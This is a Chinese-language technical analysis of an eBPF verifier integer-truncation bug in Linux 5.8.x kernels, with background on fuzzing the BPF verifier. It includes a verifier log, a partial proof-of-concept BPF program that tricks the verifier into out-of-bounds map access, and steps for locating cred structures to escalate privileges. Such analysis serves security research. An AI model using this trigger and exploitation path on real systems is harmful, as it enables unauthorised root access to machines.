影响版本:5.8.x 内核分支,v5.8.15 以及更低的版本。该分支的发行版:Fedora 33 、Ubuntu 20.10。
编译选项:CONFIG_BPF_SYSCALL
。
漏洞描述:eBPF验证程序中进行or操作时,scalar32_min_max_or()
函数将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。
补丁:patch scalar32_min_max_or()
函数中对32位和64位的情况分开处理,防止整数截断。
测试版本:Linux-5.8.14 测试环境下载地址
利用过程:与 CVE-2020-8835
利用过程相同,只需要根据不同版本的内核调一下array_map_ops
和init_pid_ns
的偏移,还有寻找cred
地址的过程中用到的task_struct
结构偏移也不一样,不同的内核版本不同的编译选项所导致。
一、BPF 漏洞挖掘介绍
BPF 介绍可以先看看 CVE-2020-8835
利用过程。
本节来自Fuzzing for eBPF JIT bugs in the Linux kernel
1.bpf-fuzzer
介绍:bpf-fuzzer
目标是在userspace测试BPF的verifier,这样可以利用LLVM's sanitizer和fuzzer框架。为什么要把内核编译成用户程序,而不是直接用syzkaller来挖掘呢?原因有两点,一是因为内核fuzz太慢了,二是因为BPF verifier
等一些JIT编译器会用锁保护,如果在多核上跑fuzzer就很难并行。
2.内核组件编译成用户程序
获取声明:首先生成包含eBPF verifier
及其主要函数bpf_check()
的源代码(处理宏并包含头文件),写入.i
文件,这一步是为了获得 verifier
引用的所有内核符号。生成.i
文件的示例:
KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
cd $(KERNEL_SRC) && \
make HOSTCC=clang CC=clang kernel/bpf/verifier.i
内核函数hook:接着编译每个.i
文件并链接到一起,这个过程很复。上一步虽然获得了 verifier
引用的所有的符号声明,但是并未获得所有的定义。例如,已获得kmalloc()
函数的定义,但是没有获得该函数的定义。bpf-fuzzer
是怎么解决的呢?采用user-space hooks
,例如,用用户标准函数malloc()
来定义kmalloc()
,这两个函数的行为是一样的,BPF verifier
不会察觉。
void *kmalloc(size_t size, unsigned int flags)
{
return malloc(size);
}
3. BPF漏洞挖掘
挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier
,本文的目标是找到 JIT
逻辑漏洞,而非内存损坏漏洞。例如,verifier
可能认为一个内存store操作是在边界内的,但实际上并不安全。
因此,仅仅循环调用 BPF verifier
例程并等待崩溃是不够的,应该考虑以下步骤:
- (1)生成或变异BPF程序
- (2)执行
userspace BPF verifier
,来模拟执行BPF程序 - (3)如果发现BPF程序有效,则调用真实的
bpf()
系统调用并加载程序 - (4)真实执行BPF程序并采用一个机制来检测bug
- (5)重复
fuzzer架构:为了具备可扩展性,作者写了个manager,manager负责启动虚拟机来运行被测内核,然后通过SSH连接到VMs,并执行 eBPF fuzzer
进程。每个 eBPF fuzzer
进程运行一个 generator 并喂给 userspace BPF verifier
,如果生成的输入是有效的,则eBPF fuzzer
会调用 bpf()
加载 BPF程序并触发执行。再采用检测机制来检查该BPF程序是否安全。
漏洞检测:JIT漏洞一般不会引发崩溃,所以很难检测。解决办法可以采用给JIT插入 assertions
,但作者却采用了更简单的方法。既然目标是找到错误的指针运算,就意味着要使 BPF verifier
相信一个内存load或store是在边界内的。所以漏洞检测流程如下:
- (1)加载一个
BPF map
,并把指针赋给一个寄存器 - (2)对一个或多个寄存器进行大量的
BPF ALU
和分支操作 - (3)必须使用能通过操作改变寄存器状态的寄存器,对指向
BPF map
的指针进行运算操作 - (4)向
BPF map
写入随机值
如果 BPF verifier
确信 BPF 程序是安全的,那么无论对寄存器进行随机ALU运算的值是多少,无论之后对 BPF map
指针加减多少值(即遍历map中每个元素),内存操作始终都会在边界内,这意味着需要更改map的值了。
如果触发了有问题的BPF程序,但是用于测试的map内容并未发生变化,则可以得知fuzzer将某处写入内存但没有写入map,因此检测到错误的指针运算。
4.输入生成规则
输入生成:即生成有效的BPF程序,可以先阅读 CVE-2020-8835-writeup 或 英文原文。
程序有效性与程序安全性:作者没有采用对输入结构未知的fuzzer如 libfuzzer
,而是从头开始写 input generator
,因为通过编译和反馈还是很难生成有效的BPF程序。BPF的语言规则,保留字段必须为0,条件跳转必须往后跳且在边界内,BPF程序是高度结构化的,所以覆盖导向的fuzzer很难生成有效的BPF程序。
寄存器状态:BPF支持10个寄存器—— BPF_REG_1
– BPF_REG_10
。如果将BPF程序用作数据过滤器,并通过传入数据包来触发该程序,则只初始化R1和R10寄存器,R1是指向输入包的指针,R10是指向本BPF程序的栈帧的指针,其他寄存器在进入程序入口时都还未初始化,但可以具有以下状态:
-
NOT_INIT
:寄存器的默认状态,不能被read。 -
SCALAR_VALUE
:寄存器包含标量值,该值可以是常数,也可以是范围,如1-5。 -
PTR_TO_MAP_VALUE_OR_NULL
:寄存器可能是指向map的指针或NULL值。如果呀使用指针,必须先检查指针是否为NULL。 -
PTR_TO_MAP_VALUE
:指向map的指针,可以放心向map读和写。 - 除此之外还有其他状态,但与本文不相关。
5.BPF程序生成过程
(5-1)The header
目的:用常数或接近于 BPF map size
的值来初始化2个寄存器。
为了测试 BPF verifier
错误的指针运算,我们需要获得一个指向 BPF map
的指针,便于读取和写入。这个获得指向 BPF map
的指针的过程 固定出现在每个test case的开头。指令如下:
// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
现在 r0 就是指向map的指针了,可以用来生成指针运算。以下代码会把 BPF map
中的值赋值给两个寄存器:
// 每个寄存器都是从 BPF map 读取 64 bit,寄存器的状态从 NOT_INIT 变为 SCALAR_VALUE。寄存器的值的范围是 0-2**64,这一步的目的就是给寄存器加载一个随机的立即数。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),
为了使寄存器的值更接近被测程序 的BPF map
大小,下一步是生成条件跳转,以设置两寄存器的minimum 和maximum 值。以下函数能生成寄存器的minimum bound。
// 目的是生成一个条件跳转,当该值大于 minimum bound 时,条件跳转为 true。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范围内随机生成的,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val)
{
bool is64bit = this->rg->one_of(2);
this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
if (is64bit)
return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
else
return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body
目的:生成2个寄存器的随机ALU算术操作。
主体部分就是随意选取两个可用的寄存器,进行ALU操作或分支操作。
// 算术指令是先随机选取一种可用指令,如BPF_ADD/BPF_MUL/BPF_XOR,然后确定源寄存器和目的寄存器,并返回生成的BPF指令。分支指令也是类似,先选取可用的分支操作码,可以使用第二个寄存器或立即数,由于知道BPF程序的大小和指令的下标,这样就总能生成有效的指令。
for (size_t i = 0; i < num_instr; i++) {
int reg1, reg2;
this->chose_registers(®1, ®2);
if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
alu_instr a;
a.generate(this->rg, reg1, reg2);
this->instructions[index++] = a.instr;
}
else {
branch_instr b(this->header_size, this->header_size + this->num_instr, index);
b.generate(this->rg, reg1, reg2);
this->instructions[index++] = b.instr;
generated_branch = true;
}
}
(5-3)The footer
目的:为保证每个input都能对 BPF map
进行内存写, The footer
会选择上述2个寄存器之一,接着进行算术运算(和The body
中类似,但只能进行加减操作,因为指针只能进行加减运算)。最后进行内存操作,然后将R0赋值为立即数,确保有正确的返回值。
void range_input::generate_footer()
{
size_t index = this->header_size + this->num_instr;
// generate the random pointer arithmetic with one of the registers
int reg1, reg2 = -1;
this->chose_registers(®1, ®2);
alu_instr ptr_ar;
ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
this->instructions[index++] = ptr_ar.instr;
this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
this->instructions[index++] = BPF_EXIT_INSN();
6.Fuzzer结果
以上显示作者用了6个VM来fuzz的输出结果,每个VM一秒能测1200个BPF程序,0.77%的BPF程序是有效的。大量时间用在了内核真实测试BPF程序上,下一步可以在用户空间测试BPF程序,避免与内核交互,从而提速。
二、漏洞分析
// 漏洞函数:scalar32_min_max_or() —— 对寄存器进行或运算时,错误计算了`bpf_reg_state`寄存器状态中的寄存器值范围
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 【1】将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
具体可以看Poc生成的日志:
……
9: (79) r5 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
……
9:用户的值通过r5寄存器传入值 2
10:r0 赋值给r8,r0保存map的地址,对触发漏洞无影响
11:r0 赋值为1,否则会认为r0 泄露map指针产生报错
12: r6赋值为
0x600000002
14:通过r5 < r6 的条件判断使得r5寄存器的无符号范围最大为
umax_value=25769803777=0x600000001
16:通过r > 0x0 的条件判断使得r5寄存器的无符号范围最小为
umin_value=1
18:对r5进行or运算,触发漏洞函数
scalar_min_max_or
,调用到漏洞函数中的【1】处,赋值后r5寄存器的s32_min_value=1
,s32_max_value=1
19:将r5赋值为r6,得到r6为invP1 ,说明检查模块认为r6是常数1,而实际此时r6为2
20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1
具体调试过程如下:
一个常数变量x,如果它64位无符号数的取值范围是 1<=x<=0x100000001
,dst_reg->umin_value
的值为1, dst_reg->umax_value
的值为0x600000001,而在赋值 dst_reg->s32_max_value
的过程中发生了截断(64位的值赋值到32位的有符号整数),导致 dst_reg->s32_max_value
的值为1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。
当我们传入2时,对其进行右移操作,验证模块认为是1>>1=0,而实际是2 >>1 = 1,所以可以对其进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对map指针进行任意加减,造成越界读写。
所以bpf程序构造如下:
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), //if r5 > 0 ; jmp 1 ;
BPF_EXIT_INSN(),
// now 1 <= r5 <= 0x600000001
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), //r5 |=0; verify: 1 <= r5 <=1 , r5=1
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), //r6 =r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact: we can let r5=2 then r6=1
......
}
三、漏洞利用
与 CVE-2020-8835
利用过程相同,只需要根据不同版本的内核调一下array_map_ops
和init_pid_ns
的偏移,还有寻找cred
地址的过程中用到的task_struct
结构偏移也不一样,不同的内核版本不同的编译选项所导致。
# 根据 init_pid_ns 一步步找到当前pid的task_struct中的cred。必须自己编译带符号的vmlinux才行。
$ cat /proc/kallsyms | grep init_pid_ns # ——找到第一个task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks # —— 下一个task_struct的位置
参考:
320will——Linux kernel BPF模块的相关漏洞分析
360——CVE-2020-27194:Linux Kernel eBPF模块提权漏洞的分析与利用
启明星辰ADLab——Linux eBPF JIT 权限提升漏洞(CVE-2020-27194)分析与验证